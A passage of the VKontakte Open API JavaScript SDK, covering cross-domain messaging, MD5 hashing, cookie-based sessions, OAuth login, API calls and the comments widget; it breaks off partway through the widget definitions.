newScript.type = 'text/javascript';
newScript.src = url || w.fastXDM.helperUrl;
waitFor(document, 'body', function() {
document.getElementsByTagName('HEAD')[0].appendChild(newScript);
});
}, 0);
}
function walkVar(value, clean) {
switch (typeof value) {
case 'string':
if (clean) {
return value.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#039;');
}
return value.replace(/&#039;/g, '\'').replace(/&quot;/g, '"').replace(/&gt;/g, '>').replace(/&lt;/g, '<').replace(/&amp;/g, '&');
case 'object':
if (Object.prototype.toString.apply(value) === '[object Array]') {
newValue = [];
for (var i = 0; i < value.length; i++) {
newValue[i] = walkVar(value[i], clean);
}
} else {
for (var k in value) {
newValue = {};
if (Object.hasOwnProperty.call(value, k)) {
newValue[k] = walkVar(value[k], clean);
}
}
}
default:
newValue = value;
}
return newValue;
}
// Env functions
function getEnv(callback, self) {
if (env.loaded) {
callback.apply(self, [env]);
} else {
onEnvLoad.push([self, callback]);
}
}
function envLoaded() {
env.loaded = true;
var i = onEnvLoad.length;
while (i--) {
onEnvLoad[i][1].apply(onEnvLoad[i][0], [env]);
}
}
function applyMethod(strData, self) {
getEnv(function(env) {
var data = env.json.parse(strData);
if (data[0]) {
if (!data[1]) data[1] = [];
var i = data[1].length;
while (i--) {
if (data[1][i]._func) {
var funcNum = data[1][i]._func;
data[1][i] = function() {
var args = Array.prototype.slice.call(arguments);
args.unshift('_func' + funcNum);
self.callMethod.apply(self, args);
}
} else if (self.options.safe) {
data[1][i] = walkVar(data[1][i], true);
}
}
setTimeout(function() {
if (!self.methods[data[0]]) {
throw Error('fastXDM: Method ' + data[0] + ' is undefined');
}
self.methods[data[0]].apply(self, data[1]);
}, 0);
}
});
}
// XDM object
w.fastXDM = {
_id: 0,
helperUrl: ((location.protocol === 'https:') ? 'https:' : 'http:') + '//vk.com/js/api/xdmHelper.js',
Server: function(methods, filter, options) {
this.methods = methods || {};
this.id = w.fastXDM._id++;
this.options = options || {};
this.filter = filter;
this.key = genKey();
this.methods['%init%'] = this.methods.__fxdm_i = function() {
w.fastXDM.run(this.id);
if (this.methods.onInit) this.methods.onInit();
};
this.frameName = 'fXD' + this.key;
this.server = true;
handlers[this.key] = [applyMethod, this];
},
Client: function(methods, options) {
this.methods = methods || {};
this.id = w.fastXDM._id++;
this.options = options || {};
w.fastXDM.run(this.id);
if (window.name.indexOf('fXD') === 0) {
this.key = window.name.substr(3);
} else {
throw Error('Wrong window.name property.');
}
this.caller = window.parent;
handlers[this.key] = [applyMethod, this];
this.client = true;
w.fastXDM.on('helper', function() {
w.fastXDM.onClientStart(this);
}, this);
getEnv(function(env) {
env.send(this, env.json.stringify(['%init%']));
var methods = this.methods;
setTimeout(function() {
if (methods.onInit) methods.onInit();
}, 0);
}, this);
},
onMessage: function(e) {
if (!e.data) return false;
var data = e.data;
if (typeof data != 'string' && !(data instanceof String)) return false;
var key = data.substr(0, 5);
if (handlers[key]) {
var self = handlers[key][1];
if (self && (!self.filter || self.filter(e.origin))) {
handlers[key][0](e.data.substr(6), self);
}
}
},
setJSON: function(json) {
env.json = json;
},
getJSON: function(callback) {
if (!callback) return env.json;
getEnv(function(env) {
callback(env.json);
});
},
setEnv: function(exEnv) {
var i;
for (i in exEnv) {
env[i] = exEnv[i];
}
envLoaded();
},
_q: {},
on: function(key, act, self) {
if (!this._q[key]) this._q[key] = [];
if (this._q[key] == -1) {
act.apply(self);
} else {
this._q[key].push([act, self]);
}
},
run: function(key) {
var len = (this._q[key] || []).length;
if (this._q[key] && len > 0) {
for (var i = 0; i < len; i++) this._q[key][i][0].apply(this._q[key][i][1]);
}
this._q[key] = -1;
},
waitFor: waitFor
}
w.fastXDM.Server.prototype.start = function(obj, count) {
if (obj.contentWindow) {
this.caller = obj.contentWindow;
this.frame = obj;
w.fastXDM.on('helper', function() {
w.fastXDM.onServerStart(this);
}, this);
} else { // Opera old versions
var self = this;
count = count || 0;
if (count < 50) setTimeout(function() {
self.start.apply(self, [obj, count + 1]);
}, 100);
}
}
w.fastXDM.Server.prototype.destroy = function() {
handlers.splice(handlers.indexOf(this.key), 1);
}
function extend(obj1, obj2) {
for (var i in obj2) {
if (obj1[i] && typeof(obj1[i]) == 'object') {
extend(obj1[i], obj2[i])
} else {
obj1[i] = obj2[i];
}
}
}
w.fastXDM.Server.prototype.append = function(obj, options) {
var div = document.createElement('DIV');
div.innerHTML = '<iframe name="' + this.frameName + '" ></iframe>';
var frame = div.firstChild;
var self = this;
setTimeout(function() {
frame.frameBorder = '0';
if (options) extend(frame, options);
obj.insertBefore(frame, obj.firstChild);
self.start(frame);
}, 0);
return frame;
}
w.fastXDM.Client.prototype.callMethod = w.fastXDM.Server.prototype.callMethod = function() {
var args = Array.prototype.slice.call(arguments);
var method = args.shift();
var i = args.length;
while (i--) {
if (typeof(args[i]) == 'function') {
this.funcsCount = (this.funcsCount || 0) + 1;
var func = args[i];
var funcName = '_func' + this.funcsCount;
this.methods[funcName] = function() {
func.apply(this, arguments);
delete this.methods[funcName];
}
args[i] = {
_func: this.funcsCount
};
} else if (this.options.safe) {
args[i] = walkVar(args[i], false);
}
}
waitFor(this, 'caller', function() {
w.fastXDM.on(this.id, function() {
getEnv(function(env) {
env.send(this, env.json.stringify([method, args]));
}, this);
}, this);
}, this);
}
if (w.JSON && typeof(w.JSON) == 'object' && w.JSON.parse && w.JSON.stringify && w.JSON.stringify({
a: [1, 2, 3]
}).replace(/ /g, '') == '{"a":[1,2,3]}') {
env.json = {
parse: w.JSON.parse,
stringify: w.JSON.stringify
};
} else {
w.fastXDM._needJSON = true;
}
// PostMessage cover
if (w.postMessage) {
env.protocol = 'p';
env.send = function(xdm, strData) {
var win = (xdm.frame ? xdm.frame.contentWindow : xdm.caller);
win.postMessage(xdm.key + ':' + strData, "*");
}
if (w.addEventListener) {
w.addEventListener("message", w.fastXDM.onMessage, false);
} else {
w.attachEvent("onmessage", w.fastXDM.onMessage);
}
if (w.fastXDM._needJSON) {
w.fastXDM._onlyJSON = true;
attachScript();
} else {
envLoaded();
}
} else {
attachScript();
}
})(window);
if (!window.VK) window.VK = {};
/*
* Based on JavaScript implementation of the RSA Data Security, Inc. MD5 Message
* Copyright (C) Paul Johnston 1999 - 2009
* Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
* Distributed under the BSD License
*/
if (!VK.MD5) {
VK.MD5 = function(n) {
var j = function(o, r) {
var q = (o & 65535) + (r & 65535),
p = (o >> 16) + (r >> 16) + (q >> 16);
return (p << 16) | (q & 65535)
}, g = function(o, p) {
return (o << p) | (o >>> (32 - p))
}, k = function(w, r, p, o, v, u) {
return j(g(j(j(r, w), j(o, u)), v), p)
}, a = function(q, p, w, v, o, u, r) {
return k((p & w) | ((~p) & v), q, p, o, u, r)
}, h = function(q, p, w, v, o, u, r) {
return k((p & v) | (w & (~v)), q, p, o, u, r)
}, c = function(q, p, w, v, o, u, r) {
return k(p ^ w ^ v, q, p, o, u, r)
}, m = function(q, p, w, v, o, u, r) {
return k(w ^ (p | (~v)), q, p, o, u, r)
}, b = function(A, u) {
var z = 1732584193,
y = -271733879,
w = -1732584194,
v = 271733878,
r, q, p, o;
A[u >> 5] |= 128 << ((u) % 32);
A[(((u + 64) >>> 9) << 4) + 14] = u;
for (var t = 0, s = A.length; t < s; t += 16) {
r = z;
q = y;
p = w;
o = v;
z = a(z, y, w, v, A[t + 0], 7, -680876936);
v = a(v, z, y, w, A[t + 1], 12, -389564586);
w = a(w, v, z, y, A[t + 2], 17, 606105819);
y = a(y, w, v, z, A[t + 3], 22, -1044525330);
z = a(z, y, w, v, A[t + 4], 7, -176418897);
v = a(v, z, y, w, A[t + 5], 12, 1200080426);
w = a(w, v, z, y, A[t + 6], 17, -1473231341);
y = a(y, w, v, z, A[t + 7], 22, -45705983);
z = a(z, y, w, v, A[t + 8], 7, 1770035416);
v = a(v, z, y, w, A[t + 9], 12, -1958414417);
w = a(w, v, z, y, A[t + 10], 17, -42063);
y = a(y, w, v, z, A[t + 11], 22, -1990404162);
z = a(z, y, w, v, A[t + 12], 7, 1804603682);
v = a(v, z, y, w, A[t + 13], 12, -40341101);
w = a(w, v, z, y, A[t + 14], 17, -1502002290);
y = a(y, w, v, z, A[t + 15], 22, 1236535329);
z = h(z, y, w, v, A[t + 1], 5, -165796510);
v = h(v, z, y, w, A[t + 6], 9, -1069501632);
w = h(w, v, z, y, A[t + 11], 14, 643717713);
y = h(y, w, v, z, A[t + 0], 20, -373897302);
z = h(z, y, w, v, A[t + 5], 5, -701558691);
v = h(v, z, y, w, A[t + 10], 9, 38016083);
w = h(w, v, z, y, A[t + 15], 14, -660478335);
y = h(y, w, v, z, A[t + 4], 20, -405537848);
z = h(z, y, w, v, A[t + 9], 5, 568446438);
v = h(v, z, y, w, A[t + 14], 9, -1019803690);
w = h(w, v, z, y, A[t + 3], 14, -187363961);
y = h(y, w, v, z, A[t + 8], 20, 1163531501);
z = h(z, y, w, v, A[t + 13], 5, -1444681467);
v = h(v, z, y, w, A[t + 2], 9, -51403784);
w = h(w, v, z, y, A[t + 7], 14, 1735328473);
y = h(y, w, v, z, A[t + 12], 20, -1926607734);
z = c(z, y, w, v, A[t + 5], 4, -378558);
v = c(v, z, y, w, A[t + 8], 11, -2022574463);
w = c(w, v, z, y, A[t + 11], 16, 1839030562);
y = c(y, w, v, z, A[t + 14], 23, -35309556);
z = c(z, y, w, v, A[t + 1], 4, -1530992060);
v = c(v, z, y, w, A[t + 4], 11, 1272893353);
w = c(w, v, z, y, A[t + 7], 16, -155497632);
y = c(y, w, v, z, A[t + 10], 23, -1094730640);
z = c(z, y, w, v, A[t + 13], 4, 681279174);
v = c(v, z, y, w, A[t + 0], 11, -358537222);
w = c(w, v, z, y, A[t + 3], 16, -722521979);
y = c(y, w, v, z, A[t + 6], 23, 76029189);
z = c(z, y, w, v, A[t + 9], 4, -640364487);
v = c(v, z, y, w, A[t + 12], 11, -421815835);
w = c(w, v, z, y, A[t + 15], 16, 530742520);
y = c(y, w, v, z, A[t + 2], 23, -995338651);
z = m(z, y, w, v, A[t + 0], 6, -198630844);
v = m(v, z, y, w, A[t + 7], 10, 1126891415);
w = m(w, v, z, y, A[t + 14], 15, -1416354905);
y = m(y, w, v, z, A[t + 5], 21, -57434055);
z = m(z, y, w, v, A[t + 12], 6, 1700485571);
v = m(v, z, y, w, A[t + 3], 10, -1894986606);
w = m(w, v, z, y, A[t + 10], 15, -1051523);
y = m(y, w, v, z, A[t + 1], 21, -2054922799);
z = m(z, y, w, v, A[t + 8], 6, 1873313359);
v = m(v, z, y, w, A[t + 15], 10, -30611744);
w = m(w, v, z, y, A[t + 6], 15, -1560198380);
y = m(y, w, v, z, A[t + 13], 21, 1309151649);
z = m(z, y, w, v, A[t + 4], 6, -145523070);
v = m(v, z, y, w, A[t + 11], 10, -1120210379);
w = m(w, v, z, y, A[t + 2], 15, 718787259);
y = m(y, w, v, z, A[t + 9], 21, -343485551);
z = j(z, r);
y = j(y, q);
w = j(w, p);
v = j(v, o)
}
return [z, y, w, v]
}, f = function(r) {
var q = "",
s = -1,
p = r.length,
o, t;
while (++s < p) {
o = r.charCodeAt(s);
t = s + 1 < p ? r.charCodeAt(s + 1) : 0;
if (55296 <= o && o <= 56319 && 56320 <= t && t <= 57343) {
o = 65536 + ((o & 1023) << 10) + (t & 1023);
s++
}
if (o <= 127) {
q += String.fromCharCode(o)
} else {
if (o <= 2047) {
q += String.fromCharCode(192 | ((o >>> 6) & 31), 128 | (o & 63))
} else {
if (o <= 65535) {
q += String.fromCharCode(224 | ((o >>> 12) & 15), 128 | ((o >>> 6) & 63), 128 | (o & 63))
} else {
if (o <= 2097151) {
q += String.fromCharCode(240 | ((o >>> 18) & 7), 128 | ((o >>> 12) & 63), 128 | ((o >>> 6) & 63), 128 | (o & 63))
}
}
}
}
}
return q
}, e = function(p) {
var o = Array(p.length >> 2),
r, q;
for (r = 0, q = o.length; r < q; r++) {
o[r] = 0
}
for (r = 0, q = p.length * 8; r < q; r += 8) {
o[r >> 5] |= (p.charCodeAt(r / 8) & 255) << (r % 32)
}
return o
}, l = function(p) {
var o = "";
for (var r = 0, q = p.length * 32; r < q; r += 8) {
o += String.fromCharCode((p[r >> 5] >>> (r % 32)) & 255)
}
return o
}, d = function(o) {
return l(b(e(o), o.length * 8))
}, i = function(q) {
var t = "0123456789abcdef",
p = "",
o;
for (var s = 0, r = q.length; s < r; s++) {
o = q.charCodeAt(s);
p += t.charAt((o >>> 4) & 15) + t.charAt(o & 15)
}
return p
};
return i(d(f(n)))
}
}
/*
* VKontakte Open API JavaScript library
* http://vk.com/
*/
VK.extend = function(target, source, overwrite) {
for (var key in source) {
if (overwrite || typeof target[key] === 'undefined') {
target[key] = source[key];
}
}
return target;
};
if (VK._protocol !== 'https:') {
VK._protocol = ((location.protocol === 'https:') ? 'https:' : 'http:');
}
if (!VK.xdConnectionCallbacks) {
VK.extend(VK, {
version: 1,
_apiId: null,
_session: null,
_userStatus: 'unknown',
_domain: {
main: 'https://oauth.vk.com/',
api: 'https://api.vk.com/'
},
_path: {
login: 'authorize',
proxy: 'fxdm_oauth_proxy.html'
},
_rootId: 'vk_api_transport',
_nameTransportPath: '',
xdReady: false,
access: {
FRIENDS: 0x2,
PHOTOS: 0x4,
AUDIO: 0x8,
VIDEO: 0x10,
MATCHES: 0x20,
QUESTIONS: 0x40,
WIKI: 0x80
}
});
VK.init = function(options) {
var body, root;
VK._apiId = null;
if (!options.apiId) {
throw Error('VK.init() called without an apiId');
}
VK._apiId = options.apiId;
if (options.onlyWidgets) return true;
if (options.nameTransportPath && options.nameTransportPath !== '') {
VK._nameTransportPath = options.nameTransportPath;
}
root = document.getElementById(VK._rootId);
if (!root) {
root = document.createElement('div');
root.id = VK._rootId;
body = document.getElementsByTagName('body')[0];
body.insertBefore(root, body.childNodes[0]);
}
root.style.position = 'absolute';
root.style.top = '-10000px';
var session = VK.Cookie.load();
if (session) {
VK.Auth._loadState = 'loaded';
VK.Auth.setSession(session, session ? 'connected' : 'unknown');
}
};
if (!VK.Cookie) {
VK.Cookie = {
_domain: null,
load: function() {
var
cookie = document.cookie.match('\\bvk_app_' + VK._apiId + '=([^;]*)\\b'),
session;
if (cookie) {
session = this.decode(cookie[1]);
if (session.secret != 'oauth') {
return false;
}
session.expire = parseInt(session.expire, 10);
VK.Cookie._domain = '.' + window.location.hostname; //session.base_domain;
}
return session;
},
setRaw: function(val, ts, domain, time) {
var rawCookie;
rawCookie = 'vk_app_' + VK._apiId + '=' + val + '';
var exp = time ? (new Date().getTime() + time * 1000) : ts * 1000;
rawCookie += (val && ts === 0 ? '' : '; expires=' + new Date(exp).toGMTString());
rawCookie += '; path=/';
rawCookie += (domain ? '; domain=.' + domain : '');
document.cookie = rawCookie;
this._domain = domain;
},
set: function(session, resp) {
if (session) {
this.setRaw(this.encode(session), session.expire, window.location.hostname, (resp || {}).time);
} else {
this.clear();
}
},
clear: function() {
this.setRaw('', 0, this._domain, 0);
},
encode: function(params) {
var
pairs = [],
key;
for (key in params) {
if (key != 'user') pairs.push(encodeURIComponent(key) + '=' + encodeURIComponent(params[key]));
}
pairs.sort();
return pairs.join('&');
},
decode: function(str) {
var
params = {},
parts = str.split('&'),
i,
pair;
for (i = 0; i < parts.length; i++) {
pair = parts[i].split('=', 2);
if (pair && pair[0]) {
params[decodeURIComponent(pair[0])] = decodeURIComponent(pair[1]);
}
}
return params;
}
};
}
if (!VK.Api) {
VK.Api = {
_headId: null,
_callbacks: {},
ie6_7: function() {
if (!VK.Api.ieTested) {
VK.Api.isIE6_7 = navigator.userAgent.match(/MSIE [6|7]/i);
VK.Api.ieTested = true;
}
return VK.Api.isIE6_7;
},
attachScript: function(url) {
if (!VK.Api._headId) VK.Api._headId = document.getElementsByTagName("head")[0];
var newScript = document.createElement('script');
newScript.type = 'text/javascript';
newScript.setAttribute('encoding', 'UTF-8');
newScript.src = url;
VK.Api._headId.appendChild(newScript);
},
checkMethod: function(method, params, cb, queryTry) {
var m = method.toLowerCase();
if (m == 'wall.post' || m == 'activity.set') {
var text = (m == 'activity.set') ? params.text : params.message;
if (!text) {
text = '';
}
var query = VK._protocol + '//vk.com/al_apps.php?act=wall_post_box&widget=1&method=' + m + '&aid=' + parseInt(VK._apiId, 10) + '&text=' + encodeURIComponent(text);
if (m == 'wall.post') {
query += '&owner_id=' + parseInt(params.owner_id || 0, 10) + '&attachments=' + (params.attachments || params.attachment || '') + '&publish_date=' + (params.publish_date || '');
}
var method_access = '_' + (Math.random()).toString(16).substr(2);
query += '&method_access=' + method_access;
var popup = VK.UI.popup({
url: query,
width: 460,
height: 249
});
var timer = setInterval(function() {
if (VK.UI.active.closed) {
clearInterval(timer);
params.method_access = method_access;
VK.Api.call(method, params, cb, queryTry);
}
}, 500);
return false;
}
return true;
},
call: function(method, params, cb, queryTry) {
var
query = params || {},
qs,
responseCb;
if (typeof query != 'object' || typeof cb != 'function') {
return false;
}
if (!params.method_access && !params.method_force && !VK.Api.checkMethod(method, params, cb, queryTry)) {
return;
}
if (!queryTry) queryTry = 0;
if (VK.Auth._loadState != 'loaded') {
var authFunc = function(result) {
if (result && result.session) {
VK.Observer.unsubscribe('auth.loginStatus', authFunc);
VK.Api.call(method, params, cb);
}
};
VK.Observer.subscribe('auth.loginStatus', authFunc);
VK.Auth.getLoginStatus();
return;
}
if (VK.Api.queryLength(query) < 1500 && !VK.Api.ie6_7()) {
var useXDM = false;
var rnd = parseInt(Math.random() * 10000000, 10);
while (VK.Api._callbacks[rnd]) {
rnd = parseInt(Math.random() * 10000000, 10)
}
query.callback = 'VK.Api._callbacks[' + rnd + ']';
} else {
var useXDM = true;
}
if (VK._session && VK._session.sid) {
query.access_token = VK._session.sid;
}
qs = VK.Cookie.encode(query);
responseCb = function(response) {
if (response.error && (response.error.error_code == 3 || response.error.error_code == 4 || response.error.error_code == 5)) {
if (queryTry > 3) return false;
var repeatCall = function(resp) {
VK.Observer.unsubscribe('auth.sessionChange', repeatCall);
delete params.access_token;
if (resp.session) VK.Api.call(method, params, cb, queryTry + 1);
}
VK.Observer.subscribe('auth.sessionChange', repeatCall);
VK.Auth.getLoginStatus();
} else {
cb(response);
}
if (!useXDM) delete VK.Api._callbacks[rnd];
};
if (useXDM) {
if (VK.xdReady) {
VK.XDM.remote.callMethod('apiCall', method, qs, responseCb);
} else {
VK.Observer.subscribe('xdm.init', function() {
VK.XDM.remote.callMethod('apiCall', method, qs, responseCb);
});
VK.XDM.init();
}
} else {
VK.Api._callbacks[rnd] = responseCb;
VK.Api.attachScript(VK._domain.api + 'method/' + method + '?' + qs);
}
},
queryLength: function(query) {
var len = 100,
i; // sid + sig
for (i in query) {
len += i.length + encodeURIComponent(query[i]).length + 1;
}
return len;
}
};
// Alias
VK.api = function(method, params, cb) {
VK.Api.call(method, params, cb);
}
};
if (!VK.Auth) {
VK.Auth = {
popup: null,
lsCb: {},
setSession: function(session, status, settings, resp) {
var
login = !VK._session && session,
logout = VK._session && !session,
both = VK._session && session && VK._session.mid != session.mid,
sessionChange = login || logout || (VK._session && session && VK._session.sid != session.sid),
statusChange = status != VK._userStatus,
response = {
'session': session,
'status': status,
'settings': settings
};
VK._session = session;
VK._userStatus = status;
VK.Cookie.set(session, resp);
if (sessionChange || statusChange || both) {
setTimeout(function() {
if (statusChange) {
VK.Observer.publish('auth.statusChange', response);
}
if (logout || both) {
VK.Observer.publish('auth.logout', response);
}
if (login || both) {
VK.Observer.publish('auth.login', response);
}
if (sessionChange) {
VK.Observer.publish('auth.sessionChange', response);
}
}, 0);
}
return response;
},
// Public VK.Auth methods
login: function(cb, settings) {
var channel, url;
if (!VK._apiId) {
return false;
}
channel = window.location.protocol + '//' + window.location.hostname;
url = VK._domain.main + VK._path.login + '?client_id=' + VK._apiId + '&display=popup&redirect_uri=close.html&response_type=token';
if (settings && parseInt(settings, 10) > 0) {
url += '&scope=' + settings;
}
VK.Observer.unsubscribe('auth.onLogin');
VK.Observer.subscribe('auth.onLogin', cb);
VK.UI.popup({
width: 665,
height: 370,
url: url
});
var authCallback = function() {
VK.Auth.getLoginStatus(function(resp) {
VK.Observer.publish('auth.onLogin', resp);
VK.Observer.unsubscribe('auth.onLogin');
}, true);
}
VK.UI.popupOpened = true;
var popupCheck = function() {
if (!VK.UI.popupOpened) return false;
try {
if (!VK.UI.active.top || VK.UI.active.closed) {
VK.UI.popupOpened = false;
authCallback();
return true;
}
} catch (e) {
VK.UI.popupOpened = false;
authCallback();
return true;
}
setTimeout(popupCheck, 100);
};
setTimeout(popupCheck, 100);
},
// Logout user from app, vk.com & login.vk.com
logout: function(cb) {
VK.Auth.revokeGrants(cb);
},
revokeGrants: function(cb) {
var onLogout = function(resp) {
VK.Observer.unsubscribe('auth.statusChange', onLogout);
if (cb) cb(resp);
}
VK.Observer.subscribe('auth.statusChange', onLogout);
if (VK._session && VK._session.sid) VK.Api.attachScript('https://login.vk.com/?act=openapi&oauth=1&aid=' + parseInt(VK._apiId, 10) + '&location=' + encodeURIComponent(window.location.hostname) + '&do_logout=1&token=' + VK._session.sid);
VK.Cookie.clear();
},
// Get current login status from session (sync) (not use on load time)
getSession: function() {
return VK._session;
},
// Get current login status from vk.com (async)
getLoginStatus: function(cb, force) {
if (!VK._apiId) {
return;
}
if (cb) {
if (!force && VK.Auth._loadState == 'loaded') {
cb({
status: VK._userStatus,
session: VK._session
});
return;
} else {
VK.Observer.subscribe('auth.loginStatus', cb);
}
}
if (!force && VK.Auth._loadState == 'loading') {
return;
}
VK.Auth._loadState = 'loading';
var rnd = parseInt(Math.random() * 10000000, 10);
while (VK.Auth.lsCb[rnd]) {
rnd = parseInt(Math.random() * 10000000, 10)
}
VK.Auth.lsCb[rnd] = function(response) {
delete VK.Auth.lsCb[rnd];
VK.Auth._loadState = 'loaded';
if (response && response.auth) {
var session = {
mid: response.user.id,
sid: response.access_token,
sig: response.sig,
secret: response.secret,
expire: response.expire
};
if (force) session.user = response.user;
var status = 'connected';
} else {
var session = null;
var status = response.user ? 'logined' : 'unknown';
VK.Cookie.clear();
}
VK.Auth.setSession(session, status, false, response);
VK.Observer.publish('auth.loginStatus', {
session: session,
status: status
});
VK.Observer.unsubscribe('auth.loginStatus');
};
// AttachScript here
VK.Api.attachScript('https://login.vk.com/?act=openapi&oauth=1&aid=' + parseInt(VK._apiId, 10) + '&location=' + encodeURIComponent(window.location.hostname) + '&rnd=' + rnd);
}
};
}
} else { // if VK.xdConnectionCallbacks
setTimeout(function() {
var callback;
while (callback = VK.xdConnectionCallbacks.pop()) {
callback();
}
}, 0);
if (VK.Widgets && !VK.Widgets._constructor) {
VK.Widgets = false;
}
}
if (!VK.UI) {
VK.UI = {
active: null,
_buttons: [],
popup: function(options) {
var
screenX = typeof window.screenX != 'undefined' ? window.screenX : window.screenLeft,
screenY = typeof window.screenY != 'undefined' ? window.screenY : window.screenTop,
outerWidth = typeof window.outerWidth != 'undefined' ? window.outerWidth : document.body.clientWidth,
outerHeight = typeof window.outerHeight != 'undefined' ? window.outerHeight : (document.body.clientHeight - 22),
width = options.width,
height = options.height,
left = parseInt(screenX + ((outerWidth - width) / 2), 10),
top = parseInt(screenY + ((outerHeight - height) / 2.5), 10),
features = (
'width=' + width +
',height=' + height +
',left=' + left +
',top=' + top
);
this.active = window.open(options.url, 'vk_openapi', features);
},
button: function(el, handler) {
var html = '';
if (typeof el == 'string') {
el = document.getElementById(el);
}
this._buttons.push(el);
index = this._buttons.length - 1;
html = (
'<table cellspacing="0" cellpadding="0" id="openapi_UI_' + index + '" onmouseover="VK.UI._change(1, ' + index + ');" onmouseout="VK.UI._change(0, ' + index + ');" onmousedown="VK.UI._change(2, ' + index + ');" onmouseup="VK.UI._change(1, ' + index + ');" style="cursor: pointer; border: 0px; font-family: tahoma, arial, verdana, sans-serif, Lucida Sans; font-size: 10px;"><tr style="vertical-align: middle">' +
'<td><div style="border: 1px solid #3b6798;border-radius: 2px 0px 0px 2px;-moz-border-radius: 2px 0px 0px 2px;-webkit-border-radius: 2px 0px 0px 2px;"><div style="border: 1px solid #5c82ab; border-top-color: #7e9cbc; background-color: #6D8DB1; color: #fff; text-shadow: 0px 1px #45688E; height: 15px; padding: 2px 4px 0px 6px;line-height: 13px;">&#1042;&#1086;&#1081;&#1090;&#1080;</div></div></td>' +
'<td><div style="background: url(' + VK._protocol + '//vk.com/images/btns.png) 0px -42px no-repeat; width: 21px; height: 21px"></div></td>' +
'<td><div style="border: 1px solid #3b6798;border-radius: 0px 2px 2px 0px;-moz-border-radius: 0px 2px 2px 0px;-webkit-border-radius: 0px 2px 2px 0px;"><div style="border: 1px solid #5c82ab; border-top-color: #7e9cbc; background-color: #6D8DB1; color: #fff; text-shadow: 0px 1px #45688E; height: 15px; padding: 2px 6px 0px 4px;line-height: 13px;">&#1050;&#1086;&#1085;&#1090;&#1072;&#1082;&#1090;&#1077;</div></div></td>' +
'</tr></table>'
);
el.innerHTML = html;
el.style.width = el.childNodes[0].offsetWidth + 'px';
},
_change: function(state, index) {
var row = document.getElementById('openapi_UI_' + index).rows[0];
var elems = [row.cells[0].firstChild.firstChild, row.cells[2].firstChild.firstChild];
for (var i = 0; i < 2; ++i) {
var elem = elems[i];
if (state === 0) {
elem.style.backgroundColor = '#6D8DB1';
elem.style.borderTopColor = '#7E9CBC';
elem.style.borderLeftColor = elem.style.borderRightColor = elem.style.borderBottomColor = '#5C82AB';
} else if (state == 1) {
elem.style.backgroundColor = '#7693B6';
elem.style.borderTopColor = '#88A4C4';
elem.style.borderLeftColor = elem.style.borderRightColor = elem.style.borderBottomColor = '#6088B4';
} else if (state == 2) {
elem.style.backgroundColor = '#6688AD';
elem.style.borderBottomColor = '#7495B8';
elem.style.borderLeftColor = elem.style.borderRightColor = elem.style.borderTopColor = '#51779F';
}
}
if (state === 0 || state == 2) {
row.cells[2].firstChild.style.backgroundPosition = '0px -42px';
} else if (state == 1) {
row.cells[2].firstChild.style.backgroundPosition = '0px -63px';
}
}
};
}
if (!VK.XDM) {
VK.XDM = {
remote: null,
init: function() {
if (this.remote) return false;
var url = VK._domain.api + VK._path.proxy;
this.remote = new fastXDM.Server({
onInit: function() {
VK.xdReady = true;
VK.Observer.publish('xdm.init');
}
});
this.remote.append(document.getElementById(VK._rootId), {
src: url
});
},
xdHandler: function(code) {
try {
eval('VK.' + code);
} catch (e) {}
}
};
}
if (!VK.Observer) {
VK.Observer = {
_subscribers: function() {
if (!this._subscribersMap) {
this._subscribersMap = {};
}
return this._subscribersMap;
},
publish: function(eventName) {
var
args = Array.prototype.slice.call(arguments),
eventName = args.shift(),
subscribers = this._subscribers()[eventName],
i, j;
if (!subscribers) return;
for (i = 0, j = subscribers.length; i < j; i++) {
if (subscribers[i] != null) {
subscribers[i].apply(this, args);
}
}
},
subscribe: function(eventName, handler) {
var
subscribers = this._subscribers();
if (typeof handler != 'function') return false;
if (!subscribers[eventName]) {
subscribers[eventName] = [handler];
} else {
subscribers[eventName].push(handler);
}
},
unsubscribe: function(eventName, handler) {
var
subscribers = this._subscribers()[eventName],
i, j;
if (!subscribers) return false;
if (typeof handler == 'function') {
for (i = 0, j = subscribers.length; i < j; i++) {
if (subscribers[i] == handler) {
subscribers[i] = null;
}
}
} else {
delete this._subscribers()[eventName];
}
}
};
}
if (!VK.Widgets) {
VK.Widgets = {};
VK.Widgets.count = 0;
VK.Widgets.RPC = {};
VK.Widgets.loading = function(obj, enabled) {
obj.style.background = enabled ? 'url("' + VK._protocol + '//vk.com/images/upload.gif") center center no-repeat transparent' : 'none';
};
VK.Widgets.Comments = function(objId, options, page) {
var pData = VK.Util.getPageData();
if (!VK._apiId) throw Error('VK not initialized. Please use VK.init');
options = options || {};
var params = {
limit: options.limit || 10,
height: options.height || 0,
mini: options.mini === undefined ? 'auto' : options.mini,
norealtime: options.norealtime ? 1 : 0
}, mouseup = function() {
rpc.callMethod('mouseUp');
return false;
}, move = function(event) {
rpc.callMethod('mouseMove', {
screenY: event.screenY
});
}, iframe, rpc;
if (options.browse) { // browse all comments
params.browse = 1;
params.replies = options.replies || 0;
} else { // page
var url = options.pageUrl || pData.url;
if (url.substr(0, 1) == '/') {
url = (location.protocol + '//' + location.host) + url;
}
VK.extend(params, {
page: page || 0,
status_publish: options.autoPublish === undefined ? 1 : options.autoPublish,
attach: options.attach === undefined ? '*' : (options.attach ? options.attach : ''),
url: url,
title: options.pageTitle || pData.title,
description: options.pageDescription || pData.description,
image: options.pageImage || pData.image
});
}
if (options.onChange) { // DEPRECATED
VK.Observer.subscribe('widgets.comments.new_comment', options.onChange);
VK.Observer.subscribe('widgets.comments.delete_comment', options.onChange);
}
return VK.Widgets._constructor('widget_comments.php', objId, options, params, {
showBox: function(url, props) {
var box = VK.Util.Box((options.base_domain || VK._protocol + '//vk.com') + '/' + url, [], {
proxy: function() {
rpc.callMethod.apply(rpc, arguments);
}
});
box.show();
},
startDrag: function() {
cursorBack = window.document.body.style.cursor;
window.document.body.style.cursor = 'pointer';
VK.Util.addEvent('mousemove', move);
VK.Util.addEvent('mouseup', mouseup);
},
stopDrag: function() {
window.document.body.style.cursor = cursorBack;
VK.Util.removeEvent('mousemove', move);
VK.Util.removeEvent('mouseup', mouseup);
}
}, {
startHeight: 133,
minWidth: 300,
width: '100%'
}, function(o, i, r) {
iframe = i;
rpc = r;
});
};
VK.Widgets.CommentsBrowse = function(objId, options) {
options = options || {};
options.browse = 1;
return VK.Widgets.Comments(objId, options);
};
VK.Widgets.Recommended = function(objId, options) {
var pData = VK.Util.getPageData();
if (!VK._apiId) throw Error('VK not initialized. Please use VK.init');
options = options || {};
var params = {
